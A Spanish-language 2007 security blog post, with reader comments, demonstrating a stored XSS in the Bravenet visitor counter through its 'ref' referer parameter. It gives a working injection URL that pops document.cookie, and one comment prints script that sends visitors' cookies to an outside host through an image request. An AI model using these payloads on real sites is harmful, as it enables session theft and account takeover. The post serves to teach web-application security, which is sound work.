jueves, mayo 17, 2007

XSS en mi contador de visitas

Desde hace tiempo, cuando explicamos las técnicas de ataque a aplicaciones web hacemos especial hincapié en que todos los datos que vayan desde el cliente al servidor son susceptibles de ser nocivos.

Lo dice mejor que yo Michael Howard, escritor del libro Writting Secure Code (2nd edition) en dónde dedica todo un tema a evitar la inyección de código y lo titula de forma muy personal:

“All Input Is Evil!”

Uno de los sitios donde estábamos mirando para meter inyecciones es en los campos http que se envian entre el cliente y el servidor. Los USER_AGENT y demás y el otro día andábamos discutiendo Alejandro Martín (programador del Reto Hacking I) y yo sobre probar a meterlo en algunos programas de estadísticas.

Como no había necesidad de montar nada especial y en Murcia tuve Internet durante la charla de los otros pájaros, pues opte por hacer las pruebas con Bravenet, uno de los servicios de estadísticas JavaScript que usa este blog.

El funcionamiento es sencillo, cada vez que alguien hace clic en un vínculo que lleva a una página del blog, se ejecuta el código javascript que lee la etiqueta http-Referer(Referer en Wikipedia) y lo envía al servidor de Bravenet. Este lo almacena y lo muestra cuando alguien consulta los referers del sitio.

Estos son los referers en este momento del blog.

Como se puede ver aparece el id del contador y el id del usuario. Así es este sistema. Además yo he dejado al navegador que almacene el usuario, pero no la password en una cookie para hacer esta prueba. Así que vamos a ello.

Para hacerlo uso el odyseuss, ya sabéis, un interceptor http, para jugar. Te configuras que el IE use como Proxy, e interceptas toda la sesión, entras en el blog del lado del mal y haces clic en cualquier link hasta que aparezca el envío de las estadísticas en una pantalla como esta:

Captura HTTP con Odysseus

Una llamada al servidor de Bravenet en la que envía el valor del referer en la variable ref. Ahí le he puesto el XSS para mostrar la cookie y tendrá el siguiente efecto cuando vayamos a ver los referers del sitio:

XSS para ver al cookie en Bravenet

Pero si le damos al boton de raw en odysseus se puede ver el host y el programa que lo carga, con lo que podemos ver la URL y el parámetro ref:

URL deposito de visitas

http://pub12.bravenet.com/counter/show.php?id=393750&usernum=999556215&cpv=2&ref=[script]alert(document.cookie)[/script]&sw=1280&sh=800&sc=32

Simplemente con poner el valor que desees ahí dentro podrás ejecutar cualquier código script.

Estos referers pueden ser consultados con la sesión abierta o con la sesión cerrada. Si se consultan con la sesión cerrada esto solo se queda en una broma, pero si la sesión está abierta alguien podría robar la cookie de la sesión del blogger, entrar robar la cuenta y hacer un poco el canelo, como hacer que el sitio navegue a otra parte, poner una imagen, etc….

En fin un XSS en Bravenet de lo más facilón.

Saludos!

10 comentarios:

  1. Tengo un par de amigas que no estarían de acuerdo con el comentario de Michael Howard, pero en cualquier caso, cada vez que paso por aquí y veo lo simple que parecen estas cosas me asusta cada vez mas la falta de seguridad en casi todas partes.

    Por suerte parece que no es mucha la gente con la mirada sucia y las intenciones también que circula por ahí, por que se podría venir abajo el negocio...

    ResponderEliminar
  2. no entiendo lo de la sesión abierta y cerrada....

    ¿quieres decir que yo desde mi pc podría robar la sesión de otro tío -léase tú mismo- cuando se conecte a bravenet desde el blog?

    sorry, i don't understand it...

    I am very silly, I know...

    ResponderEliminar
  3. Siendo uno mismo el dueño de la página, se supone que podría obtener el mismo resultado sin más que poner por ejemplo lo siguiente:

    [IMG id=foto src="http://www.misitio.com/mifoto.jpg"]

    Luego añadimos en la cabecera una función que reemplaza la URL de la imagen, metiendo la cookie como parámetro:

    [SCRIPT] function EnviarCookie() {document.getElementById("foto").src+="?c="+document.cookie; }[/SCRIPT]

    Por último, simplemente ejecutamos la función desde el cuerpo de la web
    [SCRIPT]EnviarCookie();[/SCRIPT]

    Bastaría consultar el LOG de acceso al servidor y ahí tendríamos las cookies de nuestros visitantes. De no disponer de dicho acceso, también se podría hacer exactamente lo mismo con una página programada (en ASP, PHP, etc) y que nos almacenara esos valores en un fichero o nos lo enviara por mail.

    Al final ¿dónde está la gracia de usar el Bravenet?...

    Saludos

    ResponderEliminar
  4. Hola Dani!

    Al ser el dueño de la web puedes robar la cookie con la info de la sesión de blogspot de una manera mucho más fácil que como has puesto simplemente escribiendo javascript en el código, que lo coje. Lo que tu propones no funciona en todos los browsers ya que depende de como interprete el stream de bits de la imagen.

    La gracia de hacerlo en Bravenet es que quitarías la password de bravenet del usuario blogger.

    Desde blogspot.com no puedes acceder a las cookies de bravenet.

    Saludos

    ResponderEliminar
  5. Parece una tontería el XSS, pero cada vez veo más y más páginas que tienen este tipo de fallos tan tontos y tan peligrosos...
    Estoy viendo ahora mismo tu página y la de Yonkis... Y mira tú por donde lo que me encuentro...

    http://www.yoprimero.com/intro/index.php?cod=modo imaginación

    Para que luego digan que desde el lado del mal nunca se aprende nada... :)

    ResponderEliminar
  6. Vaya, eso de "All input is evil" me suena bastante de algún libro que me regalaron... La verdad es que el "Writing Secure Code" no tiene desperdicio. A ver si "otsumo" nos deja el teléfono de sus amigas para convencerlas, jeje ;-)

    La gente suele menospreciar el tema del XSS porque cree que se trata de sacar una ventanita que te dice "hola", o en la que te sale un churro de caracteres raros (es decir, la cookie de sesión)

    Yo probé enviar algún correo electrónico con XSS a un colega que usaba un webmail "cutre" y salió bien la prueba. Lo de obtener la cookie y secuestrar la sesión se hace en dos patadas. ¿A que a nadie le haría gracia que se metan en su webmail? Es algo para tomárselo en serio.

    Por cierto, lo de meterse en el correo privado de otra gente es un delito que está penado (art. 197 del Código Penal), así que espero que a nadie se le ocurra probarlo con cuentas ajenas.

    Un saludo!

    ResponderEliminar
  7. Teneis mas peligro que un mono con 2 pistolas...

    La verdad es que el XSS se encuentra yo creo en la mayoría de las paginas y no hace falta que sean cutres o que las haya programado un mono...estoy seguro de que en páginas grandes e importantes hay vulnerabilidades de este tipo

    ResponderEliminar
  8. En muy muchas asfafos. En muy muchas.

    ResponderEliminar